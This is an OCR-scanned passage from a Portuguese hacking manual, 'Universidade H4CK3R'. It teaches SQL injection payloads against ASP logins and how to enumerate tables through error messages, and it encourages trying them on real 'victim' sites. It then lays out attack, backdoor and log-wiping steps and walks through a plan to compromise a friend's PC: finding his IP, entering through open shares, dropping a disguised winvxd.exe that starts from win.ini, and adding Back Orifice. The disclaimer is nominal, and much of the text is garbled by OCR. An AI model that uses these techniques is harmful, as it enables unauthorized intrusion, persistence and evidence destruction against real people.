la necessria! No sabemos (ainda) qual o nome da tabela - pode ser Users,
Usurios, UserDB, P"dpagaiO, SacoDePitombas - , ento, JX>r enquanto, vamos dlam-Ia
de tabela_usuarios. A tabela de usurios pode possuir diversos catnJX>s, como ende-
reo, telefone, e-mail para confinnao ou nmero do cmlo de crdito. Mas h
quatro camJX>s que so obrigatrios cm qualquer tabela dessas. Os nomes dos cam-
pos obviamente podem variar, mas SlL1S funes nomlalmente so as mesmas:
.. ID: Um identificador nico de cada usurio no sistema. a chamada "chave
primria , e necessria para o correto funcionamemo da tabela e seus relaci-
onamentos com outras tabelas .
.. Nome Completo: Campo no to importame para a autenticao, mas trata-se uma
maneira de personalizar o funcionamemo do site para cada usurio .
.. Login e senha: Os campos mais importantes; garantem o acesso ao site
para os usurios cadastrados .
.. Admin: Um flag que indica se o usurio tem poderes especiais para admi-
nistrar o site.
Um exempo de tabela seria:
Nome Completo Login Senha Adminl (SIN)
Henrique Cesar Ulbrich ulbrich W6rYwH 5
James Fbio Della Valle james D3114V4113 5
Suzana Warren suzy pipoca N
Fabio Cruz fcruz blaublauOI N
Esse fragmento de tabela nos revela coisas interessantes. O que mais salta
vista que as senhas dos usurios comtU1s normalmente so muito fracas, e um
bom ataque por dicionrio facilmente as descobriria. Mas h algo que, de to
bvio, passa despercebido pela maioria das pessoas: os administradores quase
sempre so os primeiros nomes da lista. Em mais de 9Q01o dos casos, o ID 1 da
tabela corresponde ao desenvolvedor, que seguramente deu a si mesmo poderes
de administrador para poder fazer os testes necessrios. Essa informao ser
til mais pam frente.
Vulnerabilidades II I
Universidade 2
D
Ano
Voltemos ao site. Quando o usurio preenche os campos de login e senha, o
script ASP os guarda, cada um em uma varivel. Vamos cham-las de login e
senha. No muito original, mas tenha certeza de que um grande nmero de
sistemas por a utiliza exatamente esses nomes, alguma variao deles ou seu
correspondente em ingls.
O prximo passo seria o script ASP comparar os dois campos com o que est
cadastrado, para garantir ou barrar O acesso ao site. Um exemplo de comando
ASP seria:
SQLOpen = "SELECT 10gin, senha, nome, admin
FROM tabe1a_ usuarios
WHERE 10gin = ' " &Login& "
ANO senha = "&Senha&"'"
O que esse comando faz Illandar parn o banco de dados mn comando SQL parn
Jjstar todos os usurios que contenham o login e a senha infonnados. Por exemplo, se
tUTI internauta digitar, como login e senha, e "fabio", a soing SQL ficaria assim:
SELECT 10gin, senha, nome, admin FROM tabe1a_ usuarios
WHERE 10gin = ' junior' ANO senha = ' fabio'
Trocando em midos, esse comando solicitar ao banco de dados uma lista
com todos os registros cujo campo login for junior e o campo senha seja fabio.
Em um sistema bem-feito, no haver nomes de login repetidos, logo o banco vai
retornar os dados do usurio, se ele existir. Compare o comando ASP e o coman-
do SQL puro. No primeiro, aspas duplas separam o que uma string pura do que
comando ASP. As aspas simples so consideradas parte da string pura. Como
podemos perceber, os valores atribudos aos campos login e senha esto entre
aspas simples. Hummm ... E se eu colocar, no meio do meu login, uma aspa sim-
ples tambm (por exemplo, jWJ';or)? O comando SQL resultante ser:
SELECT 10gin, senha, nome, admin FROM tabela_ usuarios
WHERE 10gin = 'jun'ior' ANO senha = 'fabio'
O SQL considerar o nome de login como apenas jun e o resto do nome, ior,
como parte do comando SQL IOR no um comando SQL vlido, portanto a
pgina retornar um erro. justamente esse erro que, mais para frente, nos
dir qual a estnJtura da tabela. Por ora, vamos us-lo para inserir mais coman-
dos SQL no campo de login.
Experimente, no login, inserir a seguinte string
OR 1=1 - -
e veja o que acontece. Possivelmente voc se logou como administrador!!! Va-
mos analisar como essa feitiaria funciona na string SQL:
SELECT 10gin, senha, nome, admin FROM tabela_ usuarios
WHERE 10gin = I' OR 1=1 -- ANO senha = "
Traduzindo a string para o portugus (isso sempre facilita ... ):
os campos login, senha, nome, admin DA TABELA tabela_usuarios EM QUE o
login seja vazio ( ' ' ) ou a condio 1 = 1 seja verdadeira". Queee? I = I ?
Essa condio SEMPRE verdadeira, portanto, O usurio magicamente est
1207 1
I Vul nerabili dades II
I Universidade H4CK3R I
1208 I
logado no A senha nunca ser consultada validada, pois todo o
da string (AND senha = ' ') est comentado com os dois travesses.
Se voc j souber o nome de usurio de uma pessoa e quiser o siste-
ma com seu login, basta colocar a mgica no campo senha. Ou comentar
o campo de login, aps entrAr com o usurio. Por exemplo, se voc sabe que o
login de sua me neidem, tente:
login : neidem' -- senha : <vazio>
ou
login : neidem senha :' OR 1",1
Algumas vezes necessrio colocar ' OR 1 = I tambm no campo senha, em
vez de comentar com trAvesses o final do campo login.
Outro caso em sites pblicos com cadastros numerosos. colocar a
string mgica no campo login e "chutar" uma senha qualquer. O comando SQL
vai puxar todos os usurios que tiverem aquela senha, e voc se logar no
primeiro deles. Use SuaS listas de palavras (lembra-se do captulo 7?) e entre
seguramente. Voc encontrar duplas nome/senha. Com um pouco de
organizao, voc poder fazer uma lista dos e senhas vlidos no site e
usar "um pouco de cada", dificultando o rastreamento das contas invadidas.
Brinque bastante com os sites escolhidos para vtima - sites com MS SQL e ASP
so preSas perfeitas. Com seus conhecimentos de PHP e MySQL, monte um site
para experincias e insira todos os comandos SQL que voc conseguir IembrJr.
Bem, agora que j conseguimos entrar, que tal descobrir como a tabela est
montada? Lembre-se de que estamos completamente cegos at agora. Um coman-
do conhecido de SQL o HAVING, que permite selecionar gmpos de campos que
um padro especfico. Coloque, no campo de login, a , having
1=1 - - e observe o resultado. Cada gerenciador de banco de dados emitir erros
diferentes, mas em comum eles tero uma mensagem parecida com essa:
Column 'userid' on table 'mainsite' is invalid on the
selected list
Opa! O banco de dados alegremente nos presenteou com o nome da tabela,
mainsite e o nome do primeiro campo da tabela, userid. Alguns bancos de
dados retomariam o valor desse campo cm formato orientado a objetos, algo
como mainsite.USERID. No importa, j temos dois dados importantes. Mais
parA frcnte , a mensagem provavelmente mencionar que no h uma clusula
GROUP BY no comando. Bem, vamos adicionar tal clusula e ver no que d:
Usuario: ' GROUP BY mainsite.USERID having 10=1 --
Cmzes! Olhe a resposta do site:
Column 'user1ogin' on tab1e ' mainsite ' is invalid on the
se1ected list _._
J sabemos o nome do segundo campo!!! Tentemos de novo:
Usuirio: ' GRQUP BY mainsite . USERID, mainsite . USERLOGIN having 1=1 --
VuLnerabilidades II I
Universidade 2 Ano
A resposta :
Column ' username' on table ' mainsite' is invalid on
the selected list
Continue sua pesquisa usando esse mtodo. Quando no houver mais IllenS<l-
gens de erro, voil, voc possui lOdos os campos da tabela, Agora, vamos recll-
per::lr as linhas da tabela, ou seja, os registros de cada usurio. Y<lmos usar o
comando SQL UNlON:
USU:U10: ' UNION ALL SELECT userid FROM mainsice WHERE 1=1
Preciso explicar? O vaJor de userid retomado na mensagem. Faa isso com
todos os campos. Obviamente, se o script for bem escrito, esses artifcios no
funcionaro. Muitas vezes o script bem-feito e testar os campos procura
de caracten::s maliciosos ANTES de mand-los ao comando SQL. Nesses
voc no conseguir entr.lr, m:ls :linda pode ter um:l indicao na mensagem de
erro do site sobre os nomes dos campos, da tabela e da base de dados. Anote
TUDO e tente fazer um diagr.ull<l, Uma espi:ldela no que relOrnado na URL
tambm uma boa ...
Isso apenas o bsico do bsico sobre SQL lnjection. Para saber mais sobre o
assunto, recomendamos a leitur'd do excelente livro Segurana contra 1/.'lCkers
- Aplicaes WEB, de SC:lmbray e Shema (Editor'd Flltllr"d/McGraw-Hill , 394
pginas). Uma pesquisa no Google pelas palavras Injection" vai retornar
pr::uicamente toda a documentao disponvel sobre o assunto.
Estamos todos vulnerveis?
Infelizmente, a resposta, em uma palavra, sim, Nossos sistemas de informa-
o, com todos os patches, Scrvice Packs e correes, so falhos porque fOf'dm
desenvolvidos sem levar a segurana em conta. muito mais fcil plantar rvo-
rcs que fazer enxertos.
No podemos, nem queremos ou temos espao para demonstrar a fundo todos
os tipos de vulnerabilidades existentes. O captulos 7, YuLnef'dbilidades I, e este
serviram apenas para que voc tome contato com algumas tcnicas esparsas
sobre o assumo, Nos prximos captulos, daremos uma viso mais clara de como
se planeja um ataque, como se defendcr deles e o quc fazer caso seja invadido.
Falando em contra-ataque, recememente foi lanado um que caa
e destri os hackers quc o invadiram. Acesse www.backfircsccurity.co.uk e
saiba mais sobre ele.
1209 I
I Vulnerabilidades II
Universidade 3 Ano:
Tornando-se um Hacker
Ataque, defesa e
contra-ataque:
Introduco

Captulo
10
I./ come tece Romolo, o comunque se chiamasse
d capoccione de que; tipac a procurar donne a se e ai suoi
compani Indisse una grande festa, r. . ./
e invito a prenderviparte i v/c/n/ di casa sabinif. . .J
coi (oro re, Tito Tazio, e sopratutto te loro !ig/ie ". 1
Indro Mont ane lli . "St oria di Roma", 1957
I "C . .) como fez Rmu!o, ou como quer que ch:mJilSSC o ch,-fe
daqueles caniS, pllr3 conseguir mulheres p:Jr:l. si e para compa-
nheiros_ rku uma (esta(. . .) e convidou seus vizinlJOs, os !i3binos
(. .. ) que trouxer,1m seu rei. Tiro T:kio. c sobrerudo !iU"" nJh;JS c-.r /lm
cxcdcmc <::xcmplo de engcnhilriil soei::!1 daquela poGl . A f.uc de pl.meja-
menta dess3 fesu 31go digllO dI:' leirurn.
Universidade 30 Ano:
Tornando-se um Hacker
Ataque, defesa e
contra-ataque :
Introduco

Captulo
10
''{ . .1 come tece Rom%, o comunque se eh/amasse
i/ capoccione de que! tipacci. a procurar donne a se e a/suoi
compant: Indisse una grande festa, r .. /
e inv/l a prendervi parte i vic/n/ di casa sabinil. . .J
coI loro re, Tito razio, e sopratutto te loro figlie ': I
Indro Montanelli. "Storia di Roma", 1957
I "(. . .) como fel Rmulo, ou como (Jua que se ch:/(lIassc o (dlcrc
daqueles caras, para para si c p:u:J compil o
nlJeiras. Deu um.l gr.l1Ide [esu(. .. ) e convidou seus vizinhos, os sabinos
(. . .) que (TOUXemm seu rei. Tiro Tcio. e sobretudo SI13S filhas (. . .) " Um
excelente t:xcmplo de engenharia ,mc! daquela poca. 1\ fase de I'I:mcj:J-
memo dCSS3 (esUl Illgo digno de leirurn.
I Universidade H4CK3R I I
214 I
Chegamos parle crucial de nosso curso. At aqui vimos diversas tcnicas
pontuais e especficas de ataque, usando ferramentas prontas ou baseadas em
conceitos muito rudimentares. Fora o exposto en pass.'me nos captulos de
Vulnerabilidades I e II, no foi mostrada nenhuma estratgia ou planejamento.
Fazendo uma analogia com o mundo real, ensinamos a apertar parafusos, a
estampar peas cm ao, a projetar circuitos e1tricos, a instalar som automotivo
e a fabricar pneus e peas plsticas a partir de derivados de petrleo. Mas no
ensinamos como montar o automvel.
A partir de agora, comearemos a ver as coisas de forma mais sistemtica,
seguindo uma ordem lgica e fundamentando todos os procedimentos com
iJonllaes a respeito das tecnologias envolvidas.
EM TEMPO: para fins didticos, consideramos que o leitor quer se tornar um
black hat e direcionamos o texto par.I esse objetivo. Entretanto, os autores
repudiam isso e eximem-se de responsabilidade de qualquer ato decorrente
das infomlaes aqui contidas, e seu uso de intcir.t responsabilidade do lei-
tor. Lembramos que estas informaes esto livremente disponveis na Internet
e podem ser facilmente encontradas.
Os seis passos para
um hacking feliz
Seis? No eram quatro? No capruJo 7 (Vulnerabilidades 1), descrevemos um peque-
no roteiro par.t pl<U1ejamemo e execuo de ataques, que reproduzimos abaixo:
1. Uma vez descoberta a vulnerabilidade, no tente invadir sua presa imedia-
tamente. Ao contrrio, conhea sua vtima. Visite seu site na Internet (sem ata-
car, apenas olhe). Se for na sua cidade, visite sua sede e tente descobrir mais
sobre produtos, empregos, servios, funcionrios, hbitos ... Podem-se usar tc-
nicas passivas (observao: para ver o que entra e o que sai da mquina ou
rede) ou ativas, como organizar miniataques a pontos isolados e verificar as
mensagens que so retomadas. O importante coletar informaes suficientes
para elaborar um plano de ao, preferencialmente com desfechos alternati-
vos caso algo d errado.
2. O primeiro acesso a gente nunca esquece. Essa a parte mais importante
do ataque. Pode-se dizer que esta etapa o ataque propriamente dito. Depois
de descoberta a vulnerabilidade e examinado o comportamento da vtima, use
o exploit apropriado par.I ganhar acesso limitado ao sistema. E no se esquea
de usar um proxy pblico para esconder seu endereo IP!!!
3. Humm. Uma vez com acesso limitado, a prxima etapa consiste em ganhar
acesso total mquina (root para sistemas Unix, administrador para sistemas
WinNT - no Win9x, o primeiro acesso j garante controle total. . .). Cada 50
possui procedimentos diferentes para tal. Uma vez conseguido o acesso irrestrito,
basta coletar as informaes desejadas e, se for o caso, desfigurar o sistema.
Ataque. defesa e contra-ataque: Int roduo I
Universidade 3 Ano
4. Agora que voc j o sistema. tr'J.te de cobrir seus r'J.stros e insta-
lar as portas de trs. Verifique os logs do sistema e apague tudo o que for
relativo sua visita, MAS APENAS ISSO! Resisla tentao de apagar o log
lOdo - um no registro de eventos far com que o administrador
descubr.t mais cedo do que o esperado que algum andou bulindo com seu
brinquedo. Depois de fazer a cirurgia nos logs, instale os backdoors. Alguns
hackers mais experientes lrn o cuidado de aplicar patches no sistema par'J.
remover as portas que o deixaram entrar, evitando assim que oUlros hackers
menos habilidosos entrem no sistema e , por descuido, alertem o administr'J.-
dor de que a mquina foi lOrnada.
Mas neste ponto do livro, nosso objetivo no mais agir como script kiddies,
que vagam pela Internet procur'J.ndo por presas fceis que saibam caar. Ao
contrrio, queremos ter uma idia de como black hats, digamos, "profissio-
nais" tr.tbalham par.t akanar seus objetivos em um alvo especfico, qualquer
que seja seu nvel de dificuldade. Para tanto, vamos tentar separAr, por afini-
dade, nossos esforos em seis passos distintos. Como guerra o assunto do
momento, usaremos termos militares par'J. nos referir a cada um deles. Talvez
as cruzadas, as guerr'J.s do Paraguai , Vietn, Afeganisto, os conf1itos na Pales-
tina ou at mesmo a Guerra no Golfo 2 tenham passado. Mas os cybercombates
entre hackers/cr.tckers e administradores de sistemas vo durar muitos anos,
talvez sculos.
Passo 1: Plam:jamento
Hummm, difcil dizer se este realmente o passo L Na verdade, todos os
passos so interdependentes: precisamos das informaes obtidas em cada
movimento que fazemos para poder planejar (e corrigir) adequadamente nos-
so ataque. A seqiincia de atividades ser, portanto, algo parecido com 1-2-1-3-
1-4-1-5-1-6-1 , em vez da bvia 1-2-3-4-5-6.
Como todo plano precisa de ajustes e como quase toda larefa pode ser sub-
dividida em vrias mais especficas, podemos perceber que o processo de pla-
nejamento ser contnuo durante toda a batalha e durar at bem depois da
fma zao do ataque. Cada pequeno detalhe do ataque tem seu prprio plano
1-2-1-3- 1-4-1-5-1-6-1. Se voc no documentar muito bem cada um dos passos
que tem a fazer, acabar com um bocado grJnde demais para mastigar sem
estalar a boca. E no esquea: formas de esconder <IS provas do crime tambm
fazem pane do planejamento!
No basta saber o que est fazendo. necessrio saber por que est fazendo.
Se voc tem uma resposta na ponta da lngua quando pergunt<ldo "ci , por que
vod: quer invadir minha pode seguir em frente. Mas no se esquea de
que, uma vez dentro, voc ser rastreado. Se voc j sabe o que quer fazer quando
estiver entre os muros do castelo, timo. Se no sabe, no tente! E no esquea
que, dependendo de seus intentos, voc estar incorrendo em algum crime.
1215 1
Ataque. defesa e contra ataque: Introduo
I Universidade H4CK3R I
12161
Passo 2: Observao
Toda operao militar, seja governamental ou dos rebeldes, precisa estar
embasada em informaes precisas e detalhadas sobre o alvo. O conjunto de
dados necessrios incluem diversos subconjuntos aparentemente no relacio-
nados: detalhes pessoais, como hbitos, habilidades profissionais, passatempos,
familia, amigos, antigas namoradas; informaes corporativas, hierarquia inter-
na, c1iemes/concorrentes/fornecedores, dados sobre os sistemas de infonna-
o.. Do monstro de dados obtido, h ainda a necessidade de garimpar infor-
maes n1io disponveis diretamente, fazer referncias cruzadas e, literalmen-
te, nas
Vrias tcnicas podem ser usadas aqui. A mais bvia e eficaz (embora menos
direta e mais perigosa) a Engenharia Social. Mas mesmo sem contar mentira
alguma, possvel coletar uma coleo razovel de infonnacs obtidas da Internet
ou de observao direta. No se afobe: pacincia a palavra-chave aqui.
Passo 3: Busca
Com os planos, mapas e a lista de tarefas na mo, podemos comear a procu-
rar os burdcos pelos quais vamos entrar. Um arsenal numeroso e variado de
scanners de portas e vulnerabilidades deve estar disposio para que todos
os pontos fracos sejam revelados. Assim como no passo anterior, pacincia
um dos ingredientes mais importantes desta etapa. Mas no o nico. No basta
usar uma ferramenta que revele o furo de segurana se voc no emende como
ela funciona.
Passo 4: Invaso
H vrias maneiras de ganhar acesso ao sistema-alvo . Nos captulos
Vulnerabilidades r e n vimos algumas. Mas so tcnicas pontuais, que exploram
fraquezas especficas de um sistema. A grande sacada saber agrupar as vrias
tcnicas dispOlveis de maneird a atingir o objetivo maior. Alm disso, muitas
vezes necessrio passar por vrios nveis de acesso at conseguir poderes
suficientes para atingir o objetivo final do ataque.
Passo 5: Manuteno
Nem todos os administradores de rede so completos idiotas. A maioria, na
realidade, no . Uma vez detectada uma vulnerabilidade que possibilite um ata-
que, qualquer administrador provido de bom senso vai aplicar os patches de
segurana, fechando o rombo. Se voc j invadiu uma vez por um buraco na
segurdna ou uma falha em algum programa, possvel que sua prxima tenta-
tiva, dias depois, seja infrutfera: a porta estar fechada. Uma vez dentro dos
muros do castelo, necessrio instalar mdos para que se possa entrar e sair sem
ser notado, e que sejam independentes das brechas de segurana do sistema.
Ataque. defesa e contra-ataque: Introduo I
Universidade 3
0
Ano
Passo 6: Evaso
"J invadi, j copiei, j desfigurei, j apaguei e j destm, e ainda deixei ponas
secretas por onde entrar e sair sem ser incomodado. E agora, fao o Bem,
pequeno gafanhoto, est na hora de apagar os rastros que voc deixou. Essa
etapa comea j na preparao do ataque, escoUlendo as ferramentas e procedi-
mentos menos midosos, tomando cuidado para no deixar aparente que est
logado no sistema e, principalmente, tentando descobrir antes de entrar se h
um sistema lOS ativo. Depois de fazer o que tem de fazer (defacement, cpia de
arquivos e progrdffias, lanamento de outros ataques), apague criteriosamente
suas pegadas nos arquivos de registro do sistema, tomando o cuidado de no
danificar os outros dados registrados. uma falha amadorssima demais
o logo Outro cuidado que deve ser tomado j nos passos iniciais de planejamento
: a contr sistemas de deteco de intmsos, os famigerados IDSs.
o portal
Estamos prestes a entrar no lado negro. Uma vez l, muitos fiearo tentados
a no sair. um risco que todos tcmos de correr. Nas prximas pginas vere-
mos, de forma detalhada, como levar a cabo cada um dos passos vistos aqui. A
escolha toda sua, caro leitor.
A melhor maneira de organizar as id:ias : pegar um pedao de papel (prefi-
ro papel tela do computador) e rabiscar algumas coisas. As pessoas normal-
mente perguntam-se por onde comear, esquecendo-se de que a nica coisa
que sabem aonde querem chegar. Portanto, vamos comear pelo fim. Nosso
objetivo pregar uma pea em nosso amigo com um programa inofensivo e
incmodo (chato, mesmo!).
PROGRAMA
CHATO
1217 1
I Ataque. defesa e contra-ataque: Introduo
I Universidade H4CK3R I I
12181
S esse quadro j nos suscita vrias dvidas:
1. Qual progmma usaremos?
2. Como ser instalado?
3. Ser dispamdo por tempo ou eventos?
4. Tem tamanho mximo definido?
5. O seu amigo entendido de computadores e vai saber o que fazer quando
o programa disparar?
6. Quer que o programa diga o nome do autor da brincadeir.t ou que mante
nha segredo at que voc ria bastante?
Uma vez formuladas as perguntas iniciais (no se preocupe, outr.lS aparece-
do .. .), temos de gastar um pouco de tempo pensando e pesquisando para
respond-Ias. Algumas respostas plausveis poderiam ser:
1. Seu amigo torcedor fantico da Ponte Preta. Doente. Possui faixas, cami-
sas oficiais de diversos anos aUlografadas pelos jogadores, scio fundador do
clube ... Que ui uma animao em Flash, criada por aquele seu colega
webdesigner num favor muito especial , comemorando a derrota da Ponte Pre-
ta para o XV de Piracicaba?
Animao em Flash? Isso quer dizer que sua vitima usa Windows, certo. Se ele
usar Mac ou algum Unix isso no vai funcionar. Este um timo exemplo de
como o planejamenlo, embora esteja indo bem, precisa de ajustes. Imagine se
voc tivesse enviado a animao "na louca" e descoberto, posteriormente, que
no funcionou porque seu amigo/vtima U5.1 FreeBSD?
Temos, ento, de, por meio de Engenharia Social (ou com a ajuda do Nmap, ... )
saber qual o sistema operacional da vtima. Por engenharia social , descobrimos
que o Windows Me.
2. A instalao outro problema. Voc pode f:lzer seu amigo instalar a bom-
ba para voc, basta envi-Ia por e-mail dizendo que um filminho legal. Mas a
vtima desconfiada (voc j sabe disso, o conhece h anos), e no vai abrir
quaJquer coisa que chegue.
Voc poderia elaborar um c-mail IITML com um VBScripl que instalasse o
programa automaticamente, maS voc teria de saber qual o cliente de c-mail
que ele usa. Por engenharia social, descobrimos que ele usa o 'fhe Bat
(www.ritlabs.com/the bat - os autores recomendam!!!), que premiadssimo
justameme por ser imune a essas coisas.
Ou ainda usar alguma vulnerabilidade do Windows. Para isso precisaramos
rodar um scanner qualquer, como o Nmap. Mas no temos o IP dele, ento t:
necessrio arranjar um artificio para descobri-lo.
Voc tem de encontrar uma forma de fazer com que o Flash dispare depois
de um tempo ou responda a um evento. As trs opcs mais simples, sem pre
cisar interdgir a fundo com o prprio sistema operacionaJ, so:
Ataque. defesa e contra-ataque: Introduo I
Universidade 3 Ano
Um trojan, para voc controlar a bomba remotamente;
O Flash ser a um progrdma do sistema (como a calculadora ou o
bloco de notas) para que, quando este for aberto, aquele entre em operao;
O prprio Flash ser rodado na inicializao e possuir um timeout de pelo
menos uma hora para entrar em ao;
Uma combinao de todos eles.
Passos 2 e
3,
Observao e busca
DeterlliDall.o do
all b ient e
- Engenl'.aria , )Cid Pl'ra
Mteminar 50 e l!UA
Res,,:t4do: ilinllE e 700 Bat
Bu.ca 'o, b rechas
Pl'ra "bter falha. e
ooteminar quais usar
Scanners e.co: Lid:,: e


Passo
4,
Invaso
Escolha do prograrra-b::Inl:a
Progralla Cha to
- Ani"",jo ... Plash
00 fliroo..s
T""",: !'Qnte ?reta ,1XVck
Piracicabl
Calluflagell

Controle
F:as ,," te-opo e.pera
Instahdo 00 WlN. im para
scondido o bastante. <Oe"'"
as.i", facilmente r"""",ivel
Passo
4,
Invaso
Mtodo de invaso
???????????
Nesses casos, quanto menor melhor, mas precisamos
saber como a conexo do nosso amigo pard detemli-
nar o tamanho da anima\'o. Se a vtima tiver um modem
de 33,6 K, cel1amente perceber se estivermos fazen-
do tUll upload de uma anima\-'o Flash de 2 Mbytes ..
Perguntando, voc descobre que ele assinante dc um
grande provedor nadonaJ de acesso rpido - olha a,
uma informao que pode ser til mais tarde ...
Scu amigo esperto, engenheiro eletrnico e
um usurio avanado de informtica. Mesmo assim,
no entende dos detalhes internos de software (o
negcio dele hardware) e sempre pede ajuda a voc
para o Windows dele, quando "d pau".
(quem sabe no por isso que vocf: , inconsciente-
mente, est fazendo essa sacanagem?)
De jeito nenhum! Nego at a morte!
Humm ... se voc colocou todas essas perguntas, res-
postas e ponderaes sobre as respostas em uma fo-
lha de papel , aps algum tempo lendo e relendo O
resultado, chegamos ao diagrama ao lado. Observe a
dvida que surgiu no ltimo quadro: como invadir?
No sabemos quais as vulnerabilidades existentes,
pois na etapa "Busca por brechas" no tnhamos o IP
da vtima para procur-la.
H diversas maneiras de obter o IP de algum. Uma
delas perguntando. A maioria das pessoas no vai
desconfiar que para algo "malvado". Mas no o
caso do seu amigo.
Voc costuma conversar por ICQ com ele. Il al-
guns anos, o prprio cliente de ICQ diria o IP da
outra pessoa. Hoje h a possibilidade de camuflar
essa informao. Dependendo da verso, entretanto,
e das opes escoUlidas na configurao, mesmo os
mais modernos podem revelar tal informao. Isso
)orque o ICQ de ambos os lados da conversa pode
se conectar tanto diretamente quanto atravs de um
servidor central.
I
1219 1
Ataque. defesa e contra ataque: Introduo
I Universidade H4CK3R I
1220 1
Vamos fazer uma tentativa. Espere
ele entrar on-line e inicie uma con-
versao. Desligue tudo o que acessar
Internet em seu computador:
e-mail, navegadores, eMule, KaZaA,
MSN Messenger, deixando apenas o
ICQ. Troque algumas mensagens com
ele e pea que ele lhe envie algum ar-
quivo razoavelmente grande (MP3,
imagem, programa, qualquer coisa).
Antes de aceitar a transferncia, abra
Passos 2

3,
Observao
,
busca
Det e ... l.naio
"
,

1CQ ou MSN Me,se<,ler
!nQenharia "e "ial para
de Mq.Jivos
deterrundr 50 e !!liA
- -<ta
- Result.o:l, w,nm: e '"'" Bat
Busca
'"
brechas
- 50an para ct>te-:- falhas e detenniTlM
Q.IA'S usar
Scamers esrolhi'J6: lh1p e liessIJs
Resu)'4b:
ArQJ.ivos atertoo ('lU' 1191
uma janela do M5-DOS.
ando netstat -na Durante a transferrncia, use o com
na janela do M5-DOS, da mesma man
fez nos captulos de Redes II e Vulne
lista de conexes que vai aparecer,
so os IPs da sua conversao e da tr
O IP remoto mostrado o dele.
eira como voc
rabilidades n. Na
as ltimas delas
oca de arquivos.
tmnsferncia Essa dica funciona com qualquer
dados on-line emre os dois computad
on-line: quem tr,Insfere o servidor
soa que o enviou. No caso do MSN M
Instant Messenger e do Yahoo! Mess
gens so sempre intermediadas pelos
vidores, portanto, o netstat vai most
dor Passport.NET, por exemplo ... Co
a lransferncia de arquivos ainda p
seu amigo usar MSN e no lCQ, pe
um arquivo grande. O IP dele certa
na lista do netstat com este artificio.
de
ores. E-mail n;IO
no a pes-
essenger, do AOL
enger, as mensa-
respectivos ser-
rar O IP do servi-
m uma exceo:
eer-to-peer. Se o
a para ele enviar
mente aparecer

Passo 4, Invas!o
""'Ih
do prcqrarM-b:t!1ba
Progralla Chato
- lIniNAo eJl Fla.11
exeru\.6vel no Wir.oo.-s
..... : PQnce Preca d
X'i de _ dba
Ca_uflage_

Controh
Flag;, I t""flO de espera
- Insulado no \<1m. :/i1 para soc
e. ".)r.:!ido O m.esno
d"SUI facilnoente rlllVive_
+
Internet Explorer
. IP.VTIMA
- Copiu bomba para
C:
- Edi tar WIN . lNl
- Esperar
Agora que temos o IP da vtima, vamos escane-la. Usando o Nmap, descobri-
mos que, por descuido, nosso amigo engenheiro deixou os compartilhamentos
de disco ligados e sem senhas. Nada mais simples do que abrir um Imernel
Explorer e digitar \\IP.DA.VIllMAAQUl Pronto! Voc j est na mquna dele,
pode abrir e editar arquivos.
Com essas alteraes, nosso diagrama j est fimcional Vamos elaborar, agora,
runa lista seqencial de etapas para nosso ataque? AfmaI, no podemos fazer tudo
ao mesmo tempo, ento temos que organizar as coisas. Na prxima pgina est
uma lista de passos. interessante de se deixe um espao abaixo de cada item,
para que se possa escrever os resultados, obsenrJ.es ou problemas encontrados.
Os comentrios entre parnteses no fazem parte do roteiro. So apenas
orientaes parJ. que a elaborao do roteiro cumpra o objelivo prelendido.
Ataque, defesa e contra-ataque: Introduo I
Universidade 3 Ano
PASSOS PARA HACKEAR FULANO DE TAL
l_ Engenharia Social: conversa informal para saber detalhes de sistema
operacional.
2. Busca: Determinao do IP com ICQ e netstat. Se o passo I for for feito por
ICQ tambm, matamos dois coelhos. (Queimar etapas desejvel DESDE QUE
no interfira na sua segurana.)
3. Escanear a vtima com Nmap e depois Nessus para verificar as
vulnerabilidades. (A lista pararia aqui at que descobrssemos por onde atacar.
um exemplo de 1-2-1-3-1.)
4. Descoberta a brecha de compartilhamento. Preparar arquivo com bomba para
ser implantado na vtima. Flash com bomba de espera. Usar rotinas tal e tal. (Use
sempre felTJ.mentas e linguagens que voc conhece BEM! Deslizes so fatais ... )
5. Teste seu arquivo localmente. Renomeie-o para winvxd.exe.
(Sempre instale um sistema operacional idntico ao da vtima. Instale progra-
mas parecidos aos dela e tente deixar sua mquina muito prxima ao que voc
conseguiu descobrir das configuraes do computador invadido. Quando algu-
ma etapa ordenar a cpia de arquivos para a vtima, renomeie-os com nomes
parecidos com os do sistema).
6. [OPCIONALJ Teste os passos de nmero 7 em diante em um ambiente
controlado. Depois de certificar-se da validade deste roteiro, ataque a vtima.
(Opcional quase obrigatrio. Faa um ataque similar a um computador seme-
!Junte que esteja disponvel e cm que voc possa verificar a validade do ataque.
Um amigo hacker poderia ajud-lo nessa hora. Colaborao importantssimo
nesse meio.)
7. Conectar ao computador. Use o Internet Explorer com a URL
\\XXX.YYY.ZZZ.UUU.
(Acostume-se a colocar infonnaes especficas em seus roteiros, como pro-
gramas a usar, opes e configuraes desses programas, endereos e portas a
atacar e protocolos utilizados. No apenas passos genricos. Um ataque tem
de ser rpido para ser efetivo e indetectado. Ficar procurando as opes es-
condidas de um programa durante a invaso pedir para ser apanhado!)
8. Copie o arquivo winvxd.exe para C:\windows.
(Cuidado com arquivos muito grandes. Lentido na Internet seguida de ativi-
dade no disco rgido so eventos suspeitssimos!)
1221 1
Ataque, defesa e contra-ataque: Introduo
I Universidade H4CK3R I
2221
9. Abra o arquivo C:\windows\win.ini e, na, linha "run= ", digite
c:\windows\winvxd.cxc.
10. Esperc e ria muito!
claro que nosso ataque foi sem importncia, a vtima fcil e o programa-
bomba no muito elaborado e facilmente detectvel. Mas, ora veja, funciona!
Nosso roteiro tambm bem simples, embora um ataque por meio dele j
seja possvel. Mas por que no algum nivel de refinamento? Algumas idias:
.. Preparar um Back Orifice (de preferncia o B02K) e instal-lo junto com o
Flash no win.ini. Mesmo que tudo seja descoberto (o win.ini restaurado e o
Flash apagado), nosso backdoor vai cstar no registro do Windows c, portanto,
sempre ativo quando a vtima ligar o computador .
Por falar em registro, us-lo em vez do win.ini. Tal procedimento precisar
de passos a mais, a criao de um arquivo com extenso .reg pard atualizao
do registro da vtima e provavelmente um conhecimento mais profundo sobre
o funcionamento do mesmo (consultar captulo sobre Plat,ormas Windows) .
.. Lugares bvios so os ltimos a serem procurados. Certa vez, algum
havia feito uma brincadeira comigo. Meu M5-DOS 5 congelava no final do
carregamento do Config.sys. Isso j era uma dica, mas eu ignorei. Decidido a
procurar o problema cm vez de reinstalar o sistema todo (j havia muitos
programas, alguns dos quais precisavam ser instalados pelo pessoal do CPD),
dei boot por disquete e abri o Config sys, comentando todas as linhas, uma a
uma, para verificar se travavam. Nada feito. Vasculhei infrutiferamente todo
o sistema procura de problemas. Depois de duas horas, decidi abrir o
